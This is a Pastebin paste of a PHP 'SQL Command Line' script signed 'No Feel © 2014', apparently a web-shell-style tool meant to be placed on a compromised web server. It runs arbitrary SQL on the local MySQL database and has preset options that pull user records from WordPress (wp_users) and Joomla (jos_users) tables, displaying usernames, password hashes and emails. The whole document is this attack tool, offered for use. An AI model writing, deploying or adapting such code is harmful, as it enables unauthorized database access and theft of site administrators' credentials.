Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "
- <style>
- body {
- background: green;
- color : white;
- font-size: 18px;
- font-style: italic;
- font-family: tahoma;
- }
- </style>
- ";
- echo "<center><h1>SQL Command Line</h1></center>";
- echo "
- <title>SQL cmd</title>
- <body bgcolor='yellow' >
- <center><form action='#' method='post'>
- Host : <input type='text' name='host' value='localhost' /><br />
- Username : <input type='text' name='user' /> <br />
- Password : <input type='text' name='pass' /><br />
- db name : <input type='text' name='na' /><br />
- Command : <input type='text' name='do' /><br />
- <select name='get'>
- <option value='wp'>Get Wordpress Information</option>
- <option value='joom'>Get Joomla Information</option>
- </select><br />
- <input type='submit' value='start' name='d' /><br />
- </form>
- </center>
- </body>
- ";
- $u = $_POST['user'];
- $p = $_POST['pass'];
- $n = $_POST['na'];
- $c = $_POST['do'];
- $con = mysql_connect("localhost",$u,$p);
- mysql_select_db($n);
- if(isset($_POST['d']) && $_POST['d'] == 'do')
- {
- if($con){
- $q = mysql_query($c);
- }
- echo "<center><h2>Done !! </h2></center>";
- echo "<center>
- <h4>
- <hr />
- No Feel © 2014 <br />
- </h4>
- </center>";
- }
- // wordpress information block :)
- $get = $_POST['get']; // get select value :)
- if ($get == 'wp') {
- # code...
- $qu = mysql_query("SELECT * FROM wp_users");
- $g = mysql_fetch_assoc($qu);
- //print_r($g);
- $id = $g['ID'];
- $user = $g['user_login'];
- $pass = $g['user_pass'];
- $email = $g['user_email'];
- echo "
- <center>
- ~ wordpress info ~
- <table width='50%' border='2'>
- <tr>>
- <td>id : ".$id."</td>
- <td>Username : ".$user."</td>
- </tr>
- <tr>
- <td colspan='2'>password : ".$pass."</td>
- </tr>
- <tr>
- <td>E-Mail : ".$email."</td>
- </tr>
- </table>
- </center>
- ";
- echo "<center>
- <h4>
- <hr />
- No Feel © 2014 <br />
- </h4>
- </center>";
- }
- // joomla information block :)
- if ($get == 'joom') {
- # code...
- $qa = mysql_query("SELECT * FROM jos_users");
- $jget = mysql_fetch_assoc($qa);
- $jid = $jget['id'];
- $jusr = $jget['username'];
- $jps = $jget['password'];
- $jemail = $jget['email'];
- echo "
- <center>
- ~ joomla info ~
- <table width='50%' border='2'>
- <tr>>
- <td>id : ".$jid."</td>
- <td>Username : ".$jusr."</td>
- </tr>
- <tr>
- <td colspan='2'>password : ".$jps."</td>
- </tr>
- <tr>
- <td>E-Mail : ".$jemail."</td>
- </tr>
- </table>
- </center>
- ";
- echo "<center>
- <h4>
- <hr />
- No Feel © 2014 <br />
- </h4>
- </center>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement